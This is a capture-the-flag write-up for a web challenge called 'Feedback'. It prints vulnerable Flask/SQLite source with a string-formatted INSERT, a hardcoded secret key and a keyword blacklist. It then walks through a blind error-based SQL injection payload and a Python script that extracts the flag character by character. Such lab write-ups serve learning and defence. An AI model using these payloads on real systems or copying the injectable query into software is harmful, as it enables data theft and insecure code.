Published on

FlagYard - Web - Feedback

Authors

Challenge Description

Submit your feedback.

We are provided with the server-side source code. Let's look into it.

app.py

from flask import Flask, render_template, request, redirect, url_for, session
import sqlite3
from sqlite3 import Error
import string
import random
import re

class Database:
    def __init__(self, db):
        self.db = db
        try:
            self.conn = sqlite3.connect(self.db, check_same_thread=False)
        except:
            self.conn = None

    def gen_random(self) -> str:
        letters = string.ascii_lowercase
        result_str = ''.join(random.choice(letters) for i in range(15))
        return result_str

    def execute_statement(self, create_table_sql) -> str:
        try:
            c = self.conn.cursor()
            return c.execute(create_table_sql)
        except Error as e:
            return e

    def create_tables(self) -> str:
        create_user_table = """
            CREATE TABLE IF NOT EXISTS user(
                id integer PRIMARY KEY,
                username text NOT NULL,
                password text NOT NULL
            );
        """
        create_user_feedback = """
            CREATE TABLE IF NOT EXISTS feedback(
                username text NOT NULL,
                feedback text NOT NULL
            );
        """
        create_flag_table = """
            CREATE TABLE IF NOT EXISTS flag(
                flag text NOT NULL
            );
        """
        if self.conn is not None:
            self.execute_statement(create_user_table)
            self.execute_statement(create_flag_table)
            self.execute_statement(create_user_feedback)
            return "Tables have been created"
        else:
            return "Something went wrong"

    def insert(self, statement, *args) -> bool:
        try:
            sql = statement
            curs = self.conn.cursor()
            curs.execute(sql, (args))
            self.conn.commit()
            return True
        except:
            return False   
        
    def select(self, statement, *args) -> list:
        curs = self.conn.cursor()
        curs.execute(statement, (args))
        rows = curs.fetchall()
        result = []
        for row in rows:
            result.append(row)
        return result

app = Flask(__name__)
app.config['SECRET_KEY'] = 'e66b6950164958de940d9d117f665c98'

def blacklist(string):
    string = string.lower()
    blocked_words = ['exec', 'load', 'blob', 'glob', 'union', 'join', 'like', 'match', 'regexp', 'in', 'limit', 'order', 'hex', 'where']
    for word in blocked_words:
        if word in string:
            return True
    return False

@app.route('/', methods=['GET', 'POST'])
def index():
    if 'loggedin' in session:
        msg = ''
        feedback = ''
        if request.method == 'POST' and 'feedback' in request.form:
            feedback = request.form['feedback']
            if blacklist(feedback):
                msg = 'Forbidden word detected'
            else:
                query = db.insert("INSERT INTO feedback(username, feedback) VALUES(?,'%s')" % feedback, session['username'])
                if query is not True:
                    msg = 'Something went wrong'
                    return render_template('home.html', username=session['username'], msg=msg)
                feedback = "Thanks for the feedback"
        return render_template('home.html', username=session['username'], feedback=feedback, msg=msg)
    return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']

        account = db.select("SELECT * FROM user where username = ? and password = ?", username, password)
        if account:
            session['loggedin'] = True
            session['id'] = account[0][0]
            session['username'] = account[0][1]

            return redirect(url_for('index'))
        else:
            msg = 'Incorrect username/password!'

    return render_template('index.html', msg=msg)

@app.route('/register', methods=['GET', 'POST'])
def register():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        
        account = db.select("SELECT * FROM user where username = ? and password = ?", username, password)
        if account:
            msg = 'Account already exists!'
        elif not re.match(r'[A-Za-z0-9]+', username):
            msg = 'Username must contain only characters and numbers!'
        elif not username or not password:
            msg = 'Please fill out the form!'
        else:
            db.insert("INSERT INTO user(username, password) Values (?,?)", username, password)
            msg = 'You have successfully registered!'
    elif request.method == 'POST':
        msg = 'Please fill out the form!'
        
    return render_template('register.html', msg=msg)

@app.route('/logout')
def logout():
    session.pop('loggedin', None)
    session.pop('id', None)
    session.pop('username', None)
    return redirect(url_for('login'))

if '__main__' == __name__:
    db = Database('./sqlite.db')
    db.create_tables()
    db.insert("INSERT INTO flag(flag) VALUES (?)", "FlagY{fake_flag}")
    app.run(host='0.0.0.0', port=5000)

It is a simple web application that inserts the value FlagY{fake_flag} into the flag column of the flag table in a database and provides register and login functionality. After a user logs in, they can submit feedback, which is stored in the feedback table. The vulnerability lies in the feedback submission query:

 query = db.insert("INSERT INTO feedback(username, feedback) VALUES(?,'%s')" % feedback, session['username'])

In this case, while the query is vulnerable to SQL injection due to direct user input placement without parameterization (using %s), two challenges limit the exploitation:

  • Keyword Filtering: The system filters potentially dangerous SQL keywords like exec, load, and match, which could otherwise be used to craft malicious queries.
    def blacklist(string):
        string = string.lower()
        blocked_words = ['exec', 'load', 'blob', 'glob', 'union', 'join', 'like', 'match', 'regexp', 'in', 'limit', 'order', 'hex', 'where']
        for word in blocked_words:
            if word in string:
                return True
        return False 
    
  • No Direct Reflection: Since the query only inserts data into the database without reflecting any results back to the user (e.g., no response or display of inserted data), it limits the attacker's ability to verify or exploit the SQL injection easily.

First, we need to find a way to determine whether the result of our query is true or false. For example, if we inject 1=1, we know it should return true, but how can we confirm that the query was successful? Similarly, if we inject 1=0, it should return false, but we need some indication that the query was rejected or failed. Finding this feedback or hint from the application will help us understand whether our query is working as expected and if our exploit attempt is succeeding.

By identifying some behavior or response from the application (like a change in output, error messages), we can infer whether our query was true or false.

Upon reviewing this section of code

query = db.insert("INSERT INTO feedback(username, feedback) VALUES(?,'%s')" % feedback, session['username'])
                if query is not True:
                    msg = 'Something went wrong'
                    return render_template('home.html', username=session['username'], msg=msg)
                feedback = "Thanks for the feedback"

Here, we can see that the application provides only two possible outputs: Something went wrong and Thanks for the feedback. If there is any error in the query, it will display Something went wrong. If there’s no error, it will display Thanks for the feedback.

To determine whether our query is true or false, we need to construct a query in such a way that, if the condition is true, it performs a specific action that triggers the output Thanks for the feedback. If the condition is false, it should lead to an operation that causes an error, resulting in the Something went wrong message.

By using these two distinct outputs as indicators, we can understand whether result our query is true or failed false.

We can use something similar to if and else in SQLite, which is achieved using CASEExpression. This allows us to create conditional logic in our query, helping us determine whether the query evaluates to true or false. By using CASE, we can specify actions based on the outcome of the condition.

For Example:

SELECT CASE 
    WHEN 1=1 THEN 'True' 
    ELSE 'False' 
END;

We can't use sleep() because it is not available in sqlite. We will use a conditional error like (1/0), which will trigger an error and help us distinguish between true and false. The idea is to check each character of the flag with our input using substr() and cause an error based on the comparison.

Let's first confirm whether this approach works. I will test the following queries:

  • ' OR (1/1) AND '1 – This should display "Thanks for the feedback."
  • ' OR (1/0) AND '1 – This should display "Something went wrong."

Great! Since it works, let's create our basic payload for final testing:

' OR CASE WHEN SUBSTR((SELECT flag FROM flag),1,1)='F' THEN 1 ELSE (1/0) END AND '1

Explanation:

  • ' OR – Breaks out of the current query and starts our injected logic.
  • CASE WHEN SUBSTR((SELECT flag FROM flag),1,1)='F' – Checks if the first character of the flag is 'F'.
  • THEN 1 – If the condition is true, it returns 1 (no error).
  • ELSE (1/0) – If the condition is false, it causes an error by dividing by zero.
  • END AND '1 – Ends the case statement and ensures the query is valid.

Expected Results:

  • If the first character is F, we should see Thanks for the feedback.
  • If it’s not, we’ll get Something went wrong.

This payload is working perfectly. Now, let's create a Python script to automate the process.

import requests
import string

#Replace the instance URL
base_url = "Your_Instance_URL"
login_url = base_url + "/login"
add_note_url = base_url


charset = string.digits + string.ascii_letters + "{}_"
flag = ""
position = 1

#Replace the Credentials
username = "your_username"  
password = "your_password" 

session = requests.Session()

def login():
    login_data = {"username": username, "password": password}
    response = session.post(login_url, data=login_data)
    if "Welcome" in response.text:
        print("[+] Login successful!")
    else:
        print("[-] Login failed.")
        exit()

def test_char_for_position(char, position):
    payload = f"' OR CASE WHEN SUBSTR((SELECT flag FROM flag),{position},1)='{char}' THEN 1 ELSE (1/0) END AND '1"
    data = {"feedback": payload}
    response = session.post(add_note_url, data=data)

    if "Thanks for the feedback" in response.text:
        return True
    return False


login()

while True:
    for char in charset:
        print(f"[+] {flag}{char}")
        if test_char_for_position(char, position):
            flag += char
            position += 1
            break

    if flag[::-1][0] == "}":
        break
    

print(f"\n[+] Extracted flag: {flag}")

The best part is that our payload didn’t consist of any blocked words, allowing it to work seamlessly. This challenge has greatly deepened my understanding of blind SQL injection, especially in crafting effective queries to extract information without direct visibility. It was a valuable learning experience, demonstrating how SQL injection can be exploited step by step.